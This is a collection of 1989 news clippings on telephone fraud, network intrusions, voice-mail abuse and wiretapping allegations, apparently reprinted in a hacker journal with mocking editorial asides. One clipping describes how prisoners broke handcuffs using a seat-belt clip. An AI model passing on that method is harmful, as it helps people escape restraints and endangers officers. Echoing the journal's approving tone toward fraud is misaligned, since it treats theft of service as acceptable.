Last week's disclosure of an alleged hacker theft of highly sensitive
|
||
BellSouth Telephone Co. documentation for a nine-state 911 emergency system
|
||
was the second serious security breach of a telephone company network to come
|
||
to light in as many months.
|
||
|
||
In January, a trio of hackers was able to penetrate computer systems at
|
||
Pacific Bell Telephone Co. and eavesdrop on conversations and perpetrate other
|
||
criminal acts. [CW, Jan. 22].
|
||
|
||
Just how vulnerable are the nation's telephone systems to hacker attacks?
|
||
Spokesmen for BellSouth and Pacific Bell insist that their systems are secure
|
||
and that they and other telephone companies routinely assess their
|
||
vulnerability to hackers.
|
||
|
||
"Security is being constantly changed, every intrusion is studied,
|
||
passwords are changed," said Terry Johnson, manager of media relations for
|
||
BellSouth in Atlanta.
|
||
|
||
Johnson however, declined to say how the hackers allegedly were able to
|
||
lift the documentation to a 911 emergency communication services program.
|
||
|
||
"It is a rather serious computer security breach," said Richard Ichikawa, a
|
||
Honolulu based telecommunications consultant who specializes in designing and
|
||
installing 911 emergency systems. Stealing documentation, as the Legion of
|
||
Doom member is alleged to have done, many not be a particularly difficult task
|
||
for a savvy hacker, he said.
|
||
|
||
Taking the actual program, while certainly possible, would be much more
|
||
challenging, however. The computer the controls enhanced 911 service is "quite
|
||
isolated" from the calling public, Ichikawa said.
|
||
|
||
A recently published report to Congress by the Office of Technology
|
||
Assessment suggested that the security and survivability of the nation's
|
||
communication infrastructure is at greater risk to hacker attacks than ever
|
||
before. Business and government reliance on communications and information
|
||
based systems has increased, thus much more is at stake when those systems
|
||
fail, the report stated.
|
||
|
||
The increased publicity of hacker attacks may help to curb attacks by
|
||
hackers, said Sanford Sherizen, a security consultant at Data Security
|
||
Systems, Inc., in Natick, Mass.
|
||
|
||
Some law enforcement officials complain that the nation's telephone firms
|
||
do not cooperate as readily as they would expect when attacks of this sort
|
||
occur. "They [telecommunications providers] are the single biggest headache
|
||
law enforcers have right now," said Gail Thackery, Arizona stat assistant
|
||
district attorney.
|
||
|
||
Regional Bell operating companies contacted last week disputed that
|
||
assertion.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
Source: CFCA (Communications Fraud Control Association) Communicator
|
||
Issue: February-March 1989
|
||
Title: But are LD networks safe?
|
||
|
||
Spread over vast distances and segmented by switches guarded by their own
|
||
passwords, long distance networks are generally safe from virus attacks.
|
||
According to Henry Kluepfel, Bellcore district manager of Security Planning
|
||
intruders can easily attain the same information that is available to vendors
|
||
and service providers. "If passwords are not changed regularly, intruders
|
||
can quickly wreak havoc".
|
||
|
||
Scott Jarus, division director of Network Loss Prevention for Metromedia,
|
||
and a member of CFCA's Board of Directors, says that users of "outboard"
|
||
computer systems should not be assigned high level access to their company's
|
||
switches or networks. "Non-proprietary hardware and software that handle
|
||
such functions as billing collection and network database management are
|
||
targets for unauthorized access and viruses", he says.
|
||
|
||
Mr. Kluepfel says that once hackers have the documentation they can send
|
||
details on how to crash the systems to hundreds of bulletin boards. "We
|
||
found that many system administrators didn't realize manufacturers install
|
||
rudimentary default passwords."
|
||
|
||
Bellcore encourages using sophisticated codes and applying a variety of
|
||
defenses. "Don't simply rely on a dialback modem, or a good password", says
|
||
Mr. Kluepfel. "Above all, don't depend on a system to always perform as
|
||
expected. And remember that new employees don't know the administrative
|
||
measures the operator knows".
|
||
|
||
Managers should advise clients on any needed internal analysis and
|
||
investigations, and keep abreast of technological advances when planning
|
||
their defenses.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
|
||
Source: Same as above
|
||
Title: Secure those gray boxes
|
||
|
||
After the FCC mandated that telcos provide test modes on the gray
|
||
[or green (ed. note)] connection boxes usually found outside structures,
|
||
there have been instances of persons surreptitiously clipping on handsets
|
||
or snapping in modular connections (RJ-11) to make long distance calls on the
|
||
residents' line. CFCA advises customers to padlock their boxes to deter such
|
||
thievery.
|
||
|
||
John Venn, manger of Electronic Operations at PacBell's San Francisco
|
||
office, reports that the boxes they install have separate connections for
|
||
company and customer use, so that users have the option of securing access
|
||
to their portion. PacBell's side has a built-in lock, while customers have
|
||
padlock hasps.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
|
||
Source: Same as above
|
||
Title: Product Description: Pen-Link analysis software
|
||
Author: Mike Murman
|
||
|
||
Since 1986, Pen-Link, Ltd. of Lincoln Neb. has been producing software
|
||
that supports telecom investigations. Last July, the company introduced an
|
||
updated version of Pen-Link, a two-year-old program that accepts data from
|
||
most Dialed Number Recorders (DNRs) manufactured today, pools that information
|
||
into a common database structure, and allows the user to determine the calling
|
||
patterns and the codes that have been compromised.
|
||
|
||
In today's ever-expanding telecommunications environment there is a need
|
||
for faster identification and documentation of abuser call patterns to assure
|
||
successful prosecutions. In applications of DNRs for investigative purposes,
|
||
Pen-Link programs have reduced the time normally needed to input, analyze and
|
||
report call data by as much as 90 percent. The result is improved productivity
|
||
and quicker response to customers' needs.
|
||
|
||
The Pen-Link 2.0 program also provides several related features. First, it
|
||
is a communications program, meaning that if you are using a DNR with modem
|
||
capability or RS232 communication ports, the program can automatically load
|
||
your call records into a PC, eliminating the time needed to key-in call
|
||
record data.
|
||
|
||
Second, Pen-Link has an autoload format section that takes call records
|
||
you have transferred and puts them into a standard record format. This is an
|
||
important feature, given that the program supports multiple types of DNR
|
||
hardware that all have unique call data formats.
|
||
|
||
In short, you can use any combination of DNRs in your investigations with
|
||
Pen-Link and all data will be compatible. Furthermore, the program allows
|
||
you the flexibility of purchasing new DNRs of any type, and not worry about
|
||
duplicating your software expense or learning new software programs. [Notice
|
||
how he keeps saying "you" in this article? (ed.)]
|
||
|
||
Finally, Pen-Link enables you to analyze and report on your call record
|
||
information. There are 15 different call analysis reports and 6 different
|
||
graphic reports. If these reports do not meet your needs, the program has a
|
||
report generator that allows you to customize your analysis and reports.
|
||
|
||
Pen-Link is a dedicated program written in Turbo Pascal. The company
|
||
elected to start from scratch and develop its own software, rather than
|
||
simply adapting standard applications. There are two reasons for this
|
||
approach: dedicated software programs run more efficiently, so that if a
|
||
hacker is generating thousands of call records and you want to analyze and
|
||
report this information, the program can provide a report much faster than if
|
||
you were processing the data manually.
|
||
|
||
The second reason behind this strategy is that users only need to learn
|
||
and understand the options for the pop-up menu format. Pen-Link also supports
|
||
color monitors.
|
||
|
||
A manual editing feature allows you to enter your database and find
|
||
specific records by the criteria you have selected; then review and edit the
|
||
data. Manual editing also allows you to enter call data from old pen
|
||
registers that only produce paper strips containing call information.
|
||
|
||
Another feature, the utilities section, provides several options to
|
||
manage call information stored in your computer. This allows you to archive
|
||
information to disk, then reload it later when it is needed. If your data
|
||
files become corrupted, you can reconstruct and reformat them by using the
|
||
utilities section. And if you wish to use your call data information in
|
||
another application program, Pen-Link's utilities allow you to create an
|
||
ASCII text file of call information, which then can be read by these programs.
|
||
Furthermore, the program can accept ASCII text files from other DNR software
|
||
programs.
|
||
|
||
The program calls for an IBM or compatible PC equipped with a hard drive,
|
||
operating under MS-DOS 2.1 or higher. Pen-Link currently supports the
|
||
following DNRs: JSI, Mitel, Racom, Voice ID, Hekimian, Bartec, Pamco, HDS,
|
||
and Positive Controls. If you are using a DNR that is not listed, Pen-Link,
|
||
LTD will program its software so it can automatically load call records from
|
||
your equipment.
|
||
|
||
The use of DNRs that automatically transfer call record data saves your
|
||
security department considerable investigative time. Pen-Link's mission is
|
||
to provide telcom security departments with a sophisticated investigative
|
||
software tool that is easy to use, flexible and compatible.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
Source: Same as above
|
||
Title: Extended Ky. case resolved
|
||
|
||
A 21 year-old Kentucky man was successfully convicted October 27 on 14
|
||
counts of computer and toll fraud under a number of state statutes. The
|
||
defendant, John K. Detherage, pleaded guilty to using his personal computer to
|
||
identify authorization codes in order to place unauthorized long distance
|
||
calls valued at $27,000.
|
||
|
||
Detherage had been indicted a year earlier by an Oldham County grand jury
|
||
on six felony counts related to the scam and two misdemeanor counts of
|
||
possessing stolen personal identification and calling card numbers. He was
|
||
later charged with two additional counts of possessing stolen PINs.
|
||
|
||
Detherage originally was to have been tried in February 1988, but the case
|
||
was postponed when he pleaded guilty. He was sentenced at the Oldham County
|
||
Circuit Court at LaGrange to pay $12,000 in restitution, and relinquish all
|
||
computer equipment and software to the court.
|
||
|
||
His charges included theft of services over $100; theft of services; four
|
||
counts of unlawful access to a computer, second degree; possession of stolen
|
||
credit or debit cards, and six counts of unlawful access to a computer. Four
|
||
other counts were dismissed.
|
||
|
||
Kentucky has a number of statutes that can be applied to theft of telephone
|
||
services. Chapter 514.060 addresses theft of services, while 514.065 describes
|
||
the possession, use or transfer of a device for the theft of services. Theft
|
||
of services is defined to include telephone service, and the defendant was
|
||
charged with two counts under 514.060.
|
||
|
||
Detherage was also charged with 10 counts (six felony and four misdemeanor)
|
||
under Chapter 434.580, which relates to the receipt of stolen credit cards.
|
||
Kentucky interprets computer crime as involving accessing of computer systems
|
||
to obtain money, property or services through false or fraudulent pretenses,
|
||
representations or promises.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
|
||
Source: Same as above
|
||
Title: Industry Overview
|
||
|
||
As major players in the telecom industry shore up the defenses on their
|
||
telephone and computer networks, criminals [who, us?] are turning to smaller,
|
||
less protected companies [its called survival of the fittest]. In 1988, the
|
||
use of stolen access codes to make free long distance calls continued to be
|
||
the favorite modus operandi among network intruders throughout the industry,
|
||
although code abuse leveled off or declined among large carriers with well
|
||
funded security organizations and substantial technical apparatus to defeat
|
||
most toll and network fraud.
|
||
|
||
However, some resellers and PBX owners are being victimized by fraud of all
|
||
types, probably because most use access codes with only six or seven digits.
|
||
Such vulnerable systems will continue to be used by abusers to route long
|
||
distance calls overseas. Fraudulent calls placed on a compromised system
|
||
quickly accumulate charges the system owner must eventually pay.
|
||
|
||
Many PBX's also lack effective systems able to detect irregular activities
|
||
and block fraudulent calls. Add to this the fact that several carriers may be
|
||
handling the inbound and outbound WATS lines, and investigator's jobs can
|
||
really become complex.
|
||
|
||
The sharp increase in the abuse of voice store-and-forward systems, or
|
||
voice mail, that began alarming owners and manufacturers early last year will
|
||
continue through 1989. Last spring, traffickers began seizing private voice
|
||
mail systems to coordinate drug shipments. Messages can be quickly erased when
|
||
they are no longer needed. Dealers have been receiving mailbox numbers by
|
||
pager, then calling in recorded messages from public telephones.
|
||
|
||
No matter how long a security code may be, if intruders obtain an 800
|
||
number to a voice mail system they can program a computer and take the time to
|
||
break it, because it won't cost them anything. Once accessed through a PBX,
|
||
intruders can exchange stolen lists of long distance access codes, usually
|
||
without the system owner's knowledge.
|
||
|
||
The time it takes abusers to break into a voice mail system is
|
||
proportionate to the number of digits in a security code. A four-digit code
|
||
can, for example be beaten by a skilled computer operator in slightly over a
|
||
minute. [Clarification, this is probably through the use of default security
|
||
codes, not sequential or random scanning techniques. ed.] One problem is that
|
||
voice mail customers don't often know what features to select when buying a
|
||
system. And few manufactures take the initiative to advise customers of the
|
||
importance of security.
|
||
|
||
Another problem that has been around for several years, subscription fraud,
|
||
will continue into 1989, although telcos have reduced it by making customer's
|
||
applications more detailed and comprehensive [like requiring customers to
|
||
supply their credit card numbers. This way if they skip town without paying
|
||
and the credit card is valid and not maxed out, the phone company can still
|
||
recover the money owned them. ed.], and by checking out potential customers
|
||
more thoroughly. Dishonest subscribers use false identification and credit
|
||
references to obtain calling cards and services, with no intention of paying.
|
||
|
||
Intelligent software is available that aids switch and PBX owners in
|
||
identifying, screening and blocking fraudulent calls. Another precaution is
|
||
to add digits to access codes, because numbers of fewer than 10 digits cannot
|
||
withstand today's intruders. A number of carriers have already gone to 14
|
||
digits.
|
||
|
||
Some larger carriers have been sending technical representative out to
|
||
reprogram PBX's, encourage customers to install better safeguards, and advise
|
||
them to shut down their systems at night and on weekends. Customers should
|
||
also expect to see billing inserts warning of the improved defenses against
|
||
fraud.
|
||
|
||
As more companies break into the international market they will need solid
|
||
security safeguards to protect them against intrusions of their networks. A
|
||
small interexchange carrier (IC) in Alabama was hit hard recently by "phone
|
||
phreakers" soon after they opened overseas service.
|
||
|
||
Other start-ups find themselves desperately trying to play catch up after
|
||
blithely operating several years without a hitch. An IC with 30,000 customers
|
||
in Southern California increased its seven-digit access codes to ten digits
|
||
and it aggressively pursuing five groups of hackers its investigators
|
||
uncovered after discovering that company-issued personal identification
|
||
numbers were posted on computer bulletin boards.
|
||
|
||
In the final analysis, one fact emerges: widespread cooperation among
|
||
injured parties will ensure quicker results and conserve vital company
|
||
resources.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
|
||
Source: PC Week April 10,1989
|
||
Title: Keep an Ear Out for New Voice Technology
|
||
Author: Matt Kramer
|
||
|
||
With the rise in digital transmission of voice and data, it's easy to
|
||
assume that voice and data have merged into a muddle of indiscriminate
|
||
material, with voice indistinguishable from data. After all, a bit's a bit,
|
||
right?
|
||
|
||
But, those people in the white lab coats keep coming up with new ways to
|
||
use voice technology.
|
||
|
||
The telephone companies are the ones poised to make the most of this
|
||
technology. U.S. Sprint recently announced that it was experimenting with the
|
||
use of "voice prints"--a recording of a verbal password that would be used to
|
||
help identify authorized subscribers using their U.S. Sprint telephone charge
|
||
cards, which would help cut down on hackers trying to steal telephone service.
|
||
Subscribers would record a voice print of a verbal password. Then, when they
|
||
were using their charge cards, they would repeat the passwords to verify their
|
||
identities.
|
||
|
||
Northern Telecom has embarked on its own efforts to bring voice-recognition
|
||
technology to public telephone service. it is selling telephone companies a
|
||
new billing service that uses voice-recognition technology to automate collect
|
||
and third-number billing calls.
|
||
|
||
Called the Automated Alternate Billing Service (AABS), the system calls the
|
||
party to be billed and "asks" if the charges will be accepted. The Northern
|
||
Telecom switch "listens" to the response and either completes the call or
|
||
informs the calling party that the charges have been refused.
|
||
|
||
Northern Telecom also plans to use voice technology to offer other
|
||
features, such as allowing the system to announce the caller's name in the
|
||
party's own voice and stating the call's origin, such as the name of a city,
|
||
a university or an institution.
|
||
|
||
The big draw for phone companies, of course, is reduction of personnel
|
||
costs, since no human operator assistance is needed. That's an option for lots
|
||
of corporate financial officers who have been attracted to automated-attendant
|
||
phone systems because they can replace a bevy of switchboard operators.
|
||
|
||
What would be interesting about the Northern Telecom technology is to see
|
||
if it can be expanded to other gear, such as private branch exchanges, and if
|
||
if can beef up the automated-attendant feature. Rather than require callers
|
||
to punch a lot of buttons to get in touch with someone, perhaps voice
|
||
recognition could be used to "listen" for a name and then direct the call to
|
||
the appropriate party. That would be especially useful in situations where you
|
||
don't know the exact extension of whomever you are calling. Trying to maneuver
|
||
around an on-line telephone directory can be a real pain in the neck.
|
||
|
||
At the same time, voice-recognition technology can be paired with voice
|
||
mail so that users can access their voice mailboxes without having to punch in
|
||
an identification number or password or to deal with a menu. It would be a lot
|
||
easier to just say, "Read messages".
|
||
|
||
There's still a lot of potential to be developed in voice technology.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
|
||
Source: PC WEEK May 15, 1989
|
||
Title: MCI to Provide Transition to ISDN
|
||
Author: Matt Kramer
|
||
|
||
MCI Communications Inc. hopes to give its customers a smoother transition
|
||
to ISDN with new services that offer many of the technology's features without
|
||
requiring costly upgrades to ISDN-compatible equipment.
|
||
|
||
The communications company recently announced new Integrated Services
|
||
Digital Network and "ISDN-equivalent" services that will provide MCI customers
|
||
with network-configuration, control and management features, according to
|
||
company officials.
|
||
|
||
The equivalent services, which will be available this fall, run over
|
||
existing in-band signaling channels. True ISDN services require a separate
|
||
out-of-band D channel for signalling.
|
||
|
||
MCI's full ISDN services are scheduled for delivery in the first quarter of
|
||
next year.
|
||
|
||
The equivalent services, while not providing the full ISDN feature set, are
|
||
designed to introduce customers to the benefits of ISDN before requiring them
|
||
to make the investment in ISDN-compatible telecommunications gear, officials
|
||
said.
|
||
|
||
"While they may not want to make that expenditure now, they certainly want
|
||
to have ISDN-like services available", said Kevin Sharer, senior vice
|
||
president of sales and marketing at MCI, in Washington.
|
||
|
||
The equivalent products include the MCI 800 Enhanced Services Package,
|
||
which allows customers with dedicated access lines to receive the number of
|
||
the calling party just prior to receiving the call. This Automatic Number
|
||
Identification (ANI) is then used to query a database to bring up a customer's
|
||
account or other information, according to officials.
|
||
|
||
Northern Telecom Inc. and Rockwell International Corp. have developed new
|
||
software for their private branch exchanges that permits the switches to
|
||
handle in-band ANI transmission.
|
||
|
||
Some observers expect the equivalent services will be useful in the
|
||
evolution from existing telecommunications to ISDN. "If all you need is ANI,
|
||
then the equivalent services might be just what you want", said Claude Stone,
|
||
vice president of product development at the First National Bank of Chicago
|
||
and vice chairman of the national ISDN Users Forum.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
Source: A newspaper
|
||
Date: Sometime in June
|
||
Title: Sheriff's prisoners find handcuffs are a snap to get out of
|
||
Author: unknown
|
||
|
||
Ten jail prisoners who discovered an ingenious way to escape from handcuffs
|
||
are sending alarms across the nation. Emergency bulletins will be sent to law
|
||
enforcement agencies via teletype machines nationwide. On Friday, deputies
|
||
were taking 10 prisoners from the jail downtown to another one in the city.
|
||
All were handcuffed. "When the deputy opened the back of the van, all 10 guys
|
||
were smiling and said, 'See what we did,'" the Sheriff said. Each prisoner
|
||
held up his arms to show broken handcuffs.
|
||
|
||
The culprit was a simple seat belt clip. The circular cuffs are connected
|
||
with a chain, held tightly to each cuff by a swivel-head link that moves
|
||
freely to ensure that the chain cannot be twisted when the wrists move. Seat
|
||
belt clips typically have one or two holes, or slots, that lock them into
|
||
place with the buckle. The prisoners learned that jamming the swivel-head on
|
||
the clip stops the swivel head from turning freely. "A quick twist of the
|
||
wrist, and the chain shears off at the cuff," the sheriff said.
|
||
|
||
The sheriff ordered seat belts removed from jail vans. He also ordered
|
||
that the prisoners in cruisers be handcuffed with their hands behind their
|
||
back and the seat belts locked firmly across them. Deputies often handcuffed
|
||
prisoners' hands in front of their bodies. But even if prisoners were cuffed
|
||
behind their backs, it would not be difficult for them to manipulate the
|
||
swivel head into a seat belt buckle and twist themselves free -- if they
|
||
could reach the seat belt. "This is a danger to every law enforcement officer
|
||
in the country", the sheriff said.
|
||
|
||
Handcuff manufacturers contacted Friday are studying the possibility of
|
||
redesigning the handcuffs by enlarging the swivel head or placing some type
|
||
of shroud over it. "People in jail have 24 hours a day to figure a way out"
|
||
said the sheriff.
|
||
|
||
"Although only 10 people know the technique, I guarantee that the entire
|
||
jail population will know how to do it before the day is up,". "The only
|
||
people who won't know about it is law enforcement officers". The sheriff
|
||
met Friday with representatives of several local and federal agencies. An
|
||
FBI spokesman said the escape technique will be described in the FBI's
|
||
nationally distributed LAW ENFORCEMENT BULLETIN.
|
||
|
||
Although the sheriff was grateful to learn about the technique from
|
||
prisoners who did not try to escape, he was not amused. He told deputies,
|
||
"Charge them with destruction of county property. We'll see how funny they
|
||
think that is."
|
||
|
||
_____________________________________________________________________________
|
||
|
||
Title: Federal grand jury probes Cincinnati Bell wiretapping flap
|
||
Source: Data Communications
|
||
Issue: November 1988
|
||
Author: John Bush
|
||
|
||
A federal grand jury in Ohio is investigating illegal wiretapping
|
||
allegations involving two former employees of Cincinnati Bell who claim the
|
||
telephone company ordered them for more than a decade to eavesdrop on
|
||
customers.
|
||
|
||
In addition, an attorney who filed a class-action lawsuit against
|
||
Cincinnati Bell on behalf of the people and companies who were allegedly
|
||
wiretapped, says he is trying to prove that the telephone company sold the
|
||
information gained from the electronic surveillance.
|
||
|
||
A Cincinnati Bell spokesperson denied the charges, saying they were
|
||
trumped-up by the two former employees, who are seeking revenge after being
|
||
fired by the telephone company.
|
||
|
||
The lawsuit has been filed against Cincinnati Bell Inc. on behalf of
|
||
Harold Mills, a former police lieutenant and former commander of the
|
||
Cincinnati Vice Squad, as well as a number of other individuals and companies.
|
||
Among the alleged victims mentioned in the complaint were Sen. Howard
|
||
Metzenbaum (D-Ohio) and Proctor and Gamble Co. (Cincinnati, Ohio).
|
||
|
||
Gene Mesh, the attorney who filed the lawsuit, believes the Cincinnati Bell
|
||
case is not an isolated incident but a trend...an explosion of cancer that
|
||
"this kind of thing [wiretapping] has developed its own markets."
|
||
|
||
When asked if Cincinnati Bell was selling the information gained from
|
||
tapping, Mesh said "we are proceeding along evidentiary lines to prove this."
|
||
|
||
Thus far, the civil action hinges on the testimony of two former Cincinnati
|
||
Bell employees, Leonard Gates, a supervisor, and Robert Draise, an installer
|
||
who at one time worked for Gates. Their combined testimony states that, under
|
||
the auspices of Cincinnati Bell, they conducted over 1,200 illegal wiretaps
|
||
from 1972 to the present.
|
||
|
||
According to Gates, as a result of the Proctor and Gamble wiretap, "we
|
||
were into all of P&G's databases." In addition, both Gates and Draise claim
|
||
to have been in on illegal wiretaps of General Electric Co.'s Aircraft Engines
|
||
Division near Cincinnati. Draise also claims that he was ordered to identify
|
||
all of GE's facsimile and modem lines for Cincinnati Bell.
|
||
|
||
Neither Proctor and Gamble nor General Electric would comment. However
|
||
Sen. Howard Metzenbaum's Washington, D.D., office says that the Senator
|
||
"found the news shocking and is awaiting more information to see if it
|
||
[the wiretap] actually happened.
|
||
|
||
Meanwhile Cincinnati Bell maintains that the suit and allegations are
|
||
merely Gates's and Draise's way of getting back at the phone company for
|
||
having fired them.
|
||
|
||
Cyndy Cantoni, a spokesperson for Cincinnati Bell, said that "we have heard
|
||
the allegations that we wiretapped, but if Draise or Gates did any tapping, it
|
||
wasn't done at Cincinnati Bell's request."
|
||
|
||
Cantoni also cited a letter from Cincinnati Bell President Ray Clark that
|
||
went out to all Cincinnati Bell employees in the wake of the publicity
|
||
surrounding the wiretapping accusations. The letter stated that Gates had been
|
||
warned in April 1985 against continuing an affair with an employee he had been
|
||
supervising and who had accused him [Gates] of sexual harassment, according to
|
||
Cantoni.
|
||
|
||
The letter went on to say that Gates reacted to the warning with
|
||
insubordination and threats and "carried on a campaign against the company."
|
||
As a result, Gates was fired for insubordination, says Cantoni. Robert Draise
|
||
was fired after he was convicted of misdemeanor wiretapping charges for
|
||
tapping the phone line of a friend's girlfriend, Cantoni says.
|
||
|
||
Cincinnati Bell is an independent telephone company that was allowed to
|
||
keep the "Bell" trademark after divestiture, since it is older than AT&T,
|
||
says Cantoni.
|
||
|
||
[ End of Document ]
|
||
[ End Of The LOD/H Technical Journal Issue #4 ]
|
||
|